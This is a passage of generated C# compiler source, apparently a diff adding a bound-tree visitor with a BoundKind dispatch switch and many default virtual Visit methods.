BoundKind.GotoStatement => VisitGotoStatement((BoundGotoStatement)node, arg), + BoundKind.LabeledStatement => VisitLabeledStatement((BoundLabeledStatement)node, arg), + BoundKind.Label => VisitLabel((BoundLabel)node, arg), + BoundKind.StatementList => VisitStatementList((BoundStatementList)node, arg), + BoundKind.ConditionalGoto => VisitConditionalGoto((BoundConditionalGoto)node, arg), + BoundKind.SwitchExpressionArm => VisitSwitchExpressionArm((BoundSwitchExpressionArm)node, arg), + BoundKind.UnconvertedSwitchExpression => VisitUnconvertedSwitchExpression((BoundUnconvertedSwitchExpression)node, arg), + BoundKind.ConvertedSwitchExpression => VisitConvertedSwitchExpression((BoundConvertedSwitchExpression)node, arg), + BoundKind.DecisionDag => VisitDecisionDag((BoundDecisionDag)node, arg), + BoundKind.EvaluationDecisionDagNode => VisitEvaluationDecisionDagNode((BoundEvaluationDecisionDagNode)node, arg), + BoundKind.TestDecisionDagNode => VisitTestDecisionDagNode((BoundTestDecisionDagNode)node, arg), + BoundKind.WhenDecisionDagNode => VisitWhenDecisionDagNode((BoundWhenDecisionDagNode)node, arg), + BoundKind.LeafDecisionDagNode => VisitLeafDecisionDagNode((BoundLeafDecisionDagNode)node, arg), + BoundKind.DagTemp => VisitDagTemp((BoundDagTemp)node, arg), + BoundKind.DagTypeTest => VisitDagTypeTest((BoundDagTypeTest)node, arg), + BoundKind.DagNonNullTest => VisitDagNonNullTest((BoundDagNonNullTest)node, arg), + BoundKind.DagExplicitNullTest => VisitDagExplicitNullTest((BoundDagExplicitNullTest)node, arg), + BoundKind.DagValueTest => VisitDagValueTest((BoundDagValueTest)node, arg), + BoundKind.DagRelationalTest => VisitDagRelationalTest((BoundDagRelationalTest)node, arg), + BoundKind.DagDeconstructEvaluation => VisitDagDeconstructEvaluation((BoundDagDeconstructEvaluation)node, arg), + BoundKind.DagTypeEvaluation => VisitDagTypeEvaluation((BoundDagTypeEvaluation)node, arg), + BoundKind.DagFieldEvaluation => VisitDagFieldEvaluation((BoundDagFieldEvaluation)node, arg), + BoundKind.DagPropertyEvaluation => VisitDagPropertyEvaluation((BoundDagPropertyEvaluation)node, arg), + BoundKind.DagIndexEvaluation => VisitDagIndexEvaluation((BoundDagIndexEvaluation)node, arg), + BoundKind.DagIndexerEvaluation => VisitDagIndexerEvaluation((BoundDagIndexerEvaluation)node, arg), + BoundKind.DagSliceEvaluation => VisitDagSliceEvaluation((BoundDagSliceEvaluation)node, arg), + BoundKind.DagAssignmentEvaluation => VisitDagAssignmentEvaluation((BoundDagAssignmentEvaluation)node, arg), + BoundKind.SwitchSection => VisitSwitchSection((BoundSwitchSection)node, arg), + BoundKind.SwitchLabel => VisitSwitchLabel((BoundSwitchLabel)node, arg), + BoundKind.SequencePointExpression => VisitSequencePointExpression((BoundSequencePointExpression)node, arg), + BoundKind.Sequence => VisitSequence((BoundSequence)node, arg), + BoundKind.SpillSequence => VisitSpillSequence((BoundSpillSequence)node, arg), + BoundKind.DynamicMemberAccess => VisitDynamicMemberAccess((BoundDynamicMemberAccess)node, arg), + BoundKind.DynamicInvocation => VisitDynamicInvocation((BoundDynamicInvocation)node, arg), + BoundKind.ConditionalAccess => VisitConditionalAccess((BoundConditionalAccess)node, arg), + BoundKind.LoweredConditionalAccess => VisitLoweredConditionalAccess((BoundLoweredConditionalAccess)node, arg), + BoundKind.ConditionalReceiver => VisitConditionalReceiver((BoundConditionalReceiver)node, arg), + BoundKind.ComplexConditionalReceiver => VisitComplexConditionalReceiver((BoundComplexConditionalReceiver)node, arg), + BoundKind.MethodGroup => VisitMethodGroup((BoundMethodGroup)node, arg), + BoundKind.PropertyGroup => VisitPropertyGroup((BoundPropertyGroup)node, arg), + BoundKind.Call => VisitCall((BoundCall)node, arg), + BoundKind.EventAssignmentOperator => VisitEventAssignmentOperator((BoundEventAssignmentOperator)node, arg), + BoundKind.Attribute => VisitAttribute((BoundAttribute)node, arg), + BoundKind.UnconvertedObjectCreationExpression => VisitUnconvertedObjectCreationExpression((BoundUnconvertedObjectCreationExpression)node, arg), + BoundKind.ObjectCreationExpression => VisitObjectCreationExpression((BoundObjectCreationExpression)node, arg), + BoundKind.UnconvertedCollectionExpression => VisitUnconvertedCollectionExpression((BoundUnconvertedCollectionExpression)node, arg), + BoundKind.CollectionExpression => VisitCollectionExpression((BoundCollectionExpression)node, arg), + BoundKind.CollectionExpressionSpreadExpressionPlaceholder => VisitCollectionExpressionSpreadExpressionPlaceholder((BoundCollectionExpressionSpreadExpressionPlaceholder)node, arg), + BoundKind.CollectionExpressionSpreadElement => VisitCollectionExpressionSpreadElement((BoundCollectionExpressionSpreadElement)node, arg), + BoundKind.TupleLiteral => VisitTupleLiteral((BoundTupleLiteral)node, arg), + BoundKind.ConvertedTupleLiteral => VisitConvertedTupleLiteral((BoundConvertedTupleLiteral)node, arg), + BoundKind.DynamicObjectCreationExpression => VisitDynamicObjectCreationExpression((BoundDynamicObjectCreationExpression)node, arg), + BoundKind.NoPiaObjectCreationExpression => VisitNoPiaObjectCreationExpression((BoundNoPiaObjectCreationExpression)node, arg), + BoundKind.ObjectInitializerExpression => VisitObjectInitializerExpression((BoundObjectInitializerExpression)node, arg), + BoundKind.ObjectInitializerMember => VisitObjectInitializerMember((BoundObjectInitializerMember)node, arg), + BoundKind.DynamicObjectInitializerMember => VisitDynamicObjectInitializerMember((BoundDynamicObjectInitializerMember)node, arg), + BoundKind.CollectionInitializerExpression => VisitCollectionInitializerExpression((BoundCollectionInitializerExpression)node, arg), + BoundKind.CollectionElementInitializer => VisitCollectionElementInitializer((BoundCollectionElementInitializer)node, arg), + BoundKind.DynamicCollectionElementInitializer => VisitDynamicCollectionElementInitializer((BoundDynamicCollectionElementInitializer)node, arg), + BoundKind.ImplicitReceiver => VisitImplicitReceiver((BoundImplicitReceiver)node, arg), + BoundKind.AnonymousObjectCreationExpression => VisitAnonymousObjectCreationExpression((BoundAnonymousObjectCreationExpression)node, arg), + BoundKind.AnonymousPropertyDeclaration => VisitAnonymousPropertyDeclaration((BoundAnonymousPropertyDeclaration)node, arg), + BoundKind.NewT => VisitNewT((BoundNewT)node, arg), + BoundKind.DelegateCreationExpression => VisitDelegateCreationExpression((BoundDelegateCreationExpression)node, arg), + BoundKind.ArrayCreation => VisitArrayCreation((BoundArrayCreation)node, arg), + BoundKind.ArrayInitialization => VisitArrayInitialization((BoundArrayInitialization)node, arg), + BoundKind.StackAllocArrayCreation => VisitStackAllocArrayCreation((BoundStackAllocArrayCreation)node, arg), + BoundKind.ConvertedStackAllocExpression => VisitConvertedStackAllocExpression((BoundConvertedStackAllocExpression)node, arg), + BoundKind.FieldAccess => VisitFieldAccess((BoundFieldAccess)node, arg), + BoundKind.HoistedFieldAccess => VisitHoistedFieldAccess((BoundHoistedFieldAccess)node, arg), + BoundKind.PropertyAccess => VisitPropertyAccess((BoundPropertyAccess)node, arg), + BoundKind.EventAccess => VisitEventAccess((BoundEventAccess)node, arg), + BoundKind.IndexerAccess => VisitIndexerAccess((BoundIndexerAccess)node, arg), + BoundKind.ImplicitIndexerAccess => VisitImplicitIndexerAccess((BoundImplicitIndexerAccess)node, arg), + BoundKind.InlineArrayAccess => VisitInlineArrayAccess((BoundInlineArrayAccess)node, arg), + BoundKind.DynamicIndexerAccess => VisitDynamicIndexerAccess((BoundDynamicIndexerAccess)node, arg), + BoundKind.Lambda => VisitLambda((BoundLambda)node, arg), + BoundKind.UnboundLambda => VisitUnboundLambda((UnboundLambda)node, arg), + BoundKind.QueryClause => VisitQueryClause((BoundQueryClause)node, arg), + BoundKind.TypeOrInstanceInitializers => VisitTypeOrInstanceInitializers((BoundTypeOrInstanceInitializers)node, arg), + BoundKind.NameOfOperator => VisitNameOfOperator((BoundNameOfOperator)node, arg), + BoundKind.UnconvertedInterpolatedString => VisitUnconvertedInterpolatedString((BoundUnconvertedInterpolatedString)node, arg), + BoundKind.InterpolatedString => VisitInterpolatedString((BoundInterpolatedString)node, arg), + BoundKind.InterpolatedStringHandlerPlaceholder => VisitInterpolatedStringHandlerPlaceholder((BoundInterpolatedStringHandlerPlaceholder)node, arg), + BoundKind.InterpolatedStringArgumentPlaceholder => VisitInterpolatedStringArgumentPlaceholder((BoundInterpolatedStringArgumentPlaceholder)node, arg), + BoundKind.StringInsert => VisitStringInsert((BoundStringInsert)node, arg), + BoundKind.IsPatternExpression => VisitIsPatternExpression((BoundIsPatternExpression)node, arg), + BoundKind.ConstantPattern => VisitConstantPattern((BoundConstantPattern)node, arg), + BoundKind.DiscardPattern => VisitDiscardPattern((BoundDiscardPattern)node, arg), + BoundKind.DeclarationPattern => VisitDeclarationPattern((BoundDeclarationPattern)node, arg), + BoundKind.RecursivePattern => VisitRecursivePattern((BoundRecursivePattern)node, arg), + BoundKind.ListPattern => VisitListPattern((BoundListPattern)node, arg), + BoundKind.SlicePattern => VisitSlicePattern((BoundSlicePattern)node, arg), + BoundKind.ITuplePattern => VisitITuplePattern((BoundITuplePattern)node, arg), + BoundKind.PositionalSubpattern => VisitPositionalSubpattern((BoundPositionalSubpattern)node, arg), + BoundKind.PropertySubpattern => VisitPropertySubpattern((BoundPropertySubpattern)node, arg), + BoundKind.PropertySubpatternMember => VisitPropertySubpatternMember((BoundPropertySubpatternMember)node, arg), + BoundKind.TypePattern => VisitTypePattern((BoundTypePattern)node, arg), + BoundKind.BinaryPattern => VisitBinaryPattern((BoundBinaryPattern)node, arg), + BoundKind.NegatedPattern => VisitNegatedPattern((BoundNegatedPattern)node, arg), + BoundKind.RelationalPattern => VisitRelationalPattern((BoundRelationalPattern)node, arg), + BoundKind.DiscardExpression => VisitDiscardExpression((BoundDiscardExpression)node, arg), + BoundKind.ThrowExpression => VisitThrowExpression((BoundThrowExpression)node, arg), + BoundKind.OutVariablePendingInference => VisitOutVariablePendingInference((OutVariablePendingInference)node, arg), + BoundKind.DeconstructionVariablePendingInference => VisitDeconstructionVariablePendingInference((DeconstructionVariablePendingInference)node, arg), + BoundKind.OutDeconstructVarPendingInference => VisitOutDeconstructVarPendingInference((OutDeconstructVarPendingInference)node, arg), + BoundKind.NonConstructorMethodBody => VisitNonConstructorMethodBody((BoundNonConstructorMethodBody)node, arg), + BoundKind.ConstructorMethodBody => VisitConstructorMethodBody((BoundConstructorMethodBody)node, arg), + BoundKind.ExpressionWithNullability => VisitExpressionWithNullability((BoundExpressionWithNullability)node, arg), + BoundKind.WithExpression => VisitWithExpression((BoundWithExpression)node, arg), + _ => default(R), + }; + } + + public virtual R VisitFieldEqualsValue(BoundFieldEqualsValue node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPropertyEqualsValue(BoundPropertyEqualsValue node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitParameterEqualsValue(BoundParameterEqualsValue node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitGlobalStatementInitializer(BoundGlobalStatementInitializer node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitValuePlaceholder(BoundValuePlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCapturedReceiverPlaceholder(BoundCapturedReceiverPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTupleOperandPlaceholder(BoundTupleOperandPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDisposableValuePlaceholder(BoundDisposableValuePlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDup(BoundDup node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPassByCopy(BoundPassByCopy node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBadExpression(BoundBadExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBadStatement(BoundBadStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitExtractedFinallyBlock(BoundExtractedFinallyBlock node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTypeExpression(BoundTypeExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTypeOrValueExpression(BoundTypeOrValueExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNamespaceExpression(BoundNamespaceExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnaryOperator(BoundUnaryOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitIncrementOperator(BoundIncrementOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAddressOfOperator(BoundAddressOfOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnconvertedAddressOfOperator(BoundUnconvertedAddressOfOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitFunctionPointerLoad(BoundFunctionPointerLoad node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPointerElementAccess(BoundPointerElementAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitRefTypeOperator(BoundRefTypeOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitMakeRefOperator(BoundMakeRefOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitRefValueOperator(BoundRefValueOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitFromEndIndexExpression(BoundFromEndIndexExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitRangeExpression(BoundRangeExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBinaryOperator(BoundBinaryOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTupleBinaryOperator(BoundTupleBinaryOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAssignmentOperator(BoundAssignmentOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNullCoalescingOperator(BoundNullCoalescingOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnconvertedConditionalOperator(BoundUnconvertedConditionalOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConditionalOperator(BoundConditionalOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitArrayAccess(BoundArrayAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitArrayLength(BoundArrayLength node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAwaitableInfo(BoundAwaitableInfo node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAwaitExpression(BoundAwaitExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTypeOfOperator(BoundTypeOfOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBlockInstrumentation(BoundBlockInstrumentation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitMethodDefIndex(BoundMethodDefIndex node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLocalId(BoundLocalId node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitParameterId(BoundParameterId node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitStateMachineInstanceId(BoundStateMachineInstanceId node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitMaximumMethodDefIndex(BoundMaximumMethodDefIndex node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitInstrumentationPayloadRoot(BoundInstrumentationPayloadRoot node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitModuleVersionId(BoundModuleVersionId node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitModuleVersionIdString(BoundModuleVersionIdString node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSourceDocumentIndex(BoundSourceDocumentIndex node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitMethodInfo(BoundMethodInfo node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitFieldInfo(BoundFieldInfo node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDefaultLiteral(BoundDefaultLiteral node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDefaultExpression(BoundDefaultExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitIsOperator(BoundIsOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAsOperator(BoundAsOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSizeOfOperator(BoundSizeOfOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConversion(BoundConversion node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitArgList(BoundArgList node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitArgListOperator(BoundArgListOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSequencePoint(BoundSequencePoint node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSequencePointWithSpan(BoundSequencePointWithSpan node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSavePreviousSequencePoint(BoundSavePreviousSequencePoint node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitRestorePreviousSequencePoint(BoundRestorePreviousSequencePoint node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitStepThroughSequencePoint(BoundStepThroughSequencePoint node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBlock(BoundBlock node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitScope(BoundScope node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitStateMachineScope(BoundStateMachineScope node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLocalDeclaration(BoundLocalDeclaration node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitMultipleLocalDeclarations(BoundMultipleLocalDeclarations node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLocalFunctionStatement(BoundLocalFunctionStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNoOpStatement(BoundNoOpStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitReturnStatement(BoundReturnStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitYieldReturnStatement(BoundYieldReturnStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitYieldBreakStatement(BoundYieldBreakStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitThrowStatement(BoundThrowStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitExpressionStatement(BoundExpressionStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBreakStatement(BoundBreakStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitContinueStatement(BoundContinueStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSwitchStatement(BoundSwitchStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSwitchDispatch(BoundSwitchDispatch node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitIfStatement(BoundIfStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDoStatement(BoundDoStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitWhileStatement(BoundWhileStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitForStatement(BoundForStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitForEachStatement(BoundForEachStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitForEachDeconstructStep(BoundForEachDeconstructStep node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUsingStatement(BoundUsingStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitFixedStatement(BoundFixedStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLockStatement(BoundLockStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTryStatement(BoundTryStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCatchBlock(BoundCatchBlock node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLiteral(BoundLiteral node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUtf8String(BoundUtf8String node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitThisReference(BoundThisReference node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitHostObjectMemberReference(BoundHostObjectMemberReference node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitBaseReference(BoundBaseReference node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLocal(BoundLocal node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPseudoVariable(BoundPseudoVariable node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitRangeVariable(BoundRangeVariable node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitParameter(BoundParameter node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLabelStatement(BoundLabelStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitGotoStatement(BoundGotoStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLabeledStatement(BoundLabeledStatement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLabel(BoundLabel node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitStatementList(BoundStatementList node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConditionalGoto(BoundConditionalGoto node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSwitchExpressionArm(BoundSwitchExpressionArm node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDecisionDag(BoundDecisionDag node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitEvaluationDecisionDagNode(BoundEvaluationDecisionDagNode node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTestDecisionDagNode(BoundTestDecisionDagNode node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitWhenDecisionDagNode(BoundWhenDecisionDagNode node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLeafDecisionDagNode(BoundLeafDecisionDagNode node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagTemp(BoundDagTemp node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagTypeTest(BoundDagTypeTest node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagNonNullTest(BoundDagNonNullTest node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagExplicitNullTest(BoundDagExplicitNullTest node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagValueTest(BoundDagValueTest node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagRelationalTest(BoundDagRelationalTest node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagDeconstructEvaluation(BoundDagDeconstructEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagTypeEvaluation(BoundDagTypeEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagFieldEvaluation(BoundDagFieldEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagPropertyEvaluation(BoundDagPropertyEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagIndexEvaluation(BoundDagIndexEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagIndexerEvaluation(BoundDagIndexerEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagSliceEvaluation(BoundDagSliceEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDagAssignmentEvaluation(BoundDagAssignmentEvaluation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSwitchSection(BoundSwitchSection node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSwitchLabel(BoundSwitchLabel node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSequencePointExpression(BoundSequencePointExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSequence(BoundSequence node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitSpillSequence(BoundSpillSequence node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDynamicMemberAccess(BoundDynamicMemberAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDynamicInvocation(BoundDynamicInvocation node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConditionalAccess(BoundConditionalAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConditionalReceiver(BoundConditionalReceiver node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitMethodGroup(BoundMethodGroup node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitPropertyGroup(BoundPropertyGroup node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCall(BoundCall node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitEventAssignmentOperator(BoundEventAssignmentOperator node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitAttribute(BoundAttribute node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitObjectCreationExpression(BoundObjectCreationExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCollectionExpression(BoundCollectionExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCollectionExpressionSpreadExpressionPlaceholder(BoundCollectionExpressionSpreadExpressionPlaceholder node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitTupleLiteral(BoundTupleLiteral node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node, A arg) + { + return DefaultVisit(node, arg); + } + + public virtual R 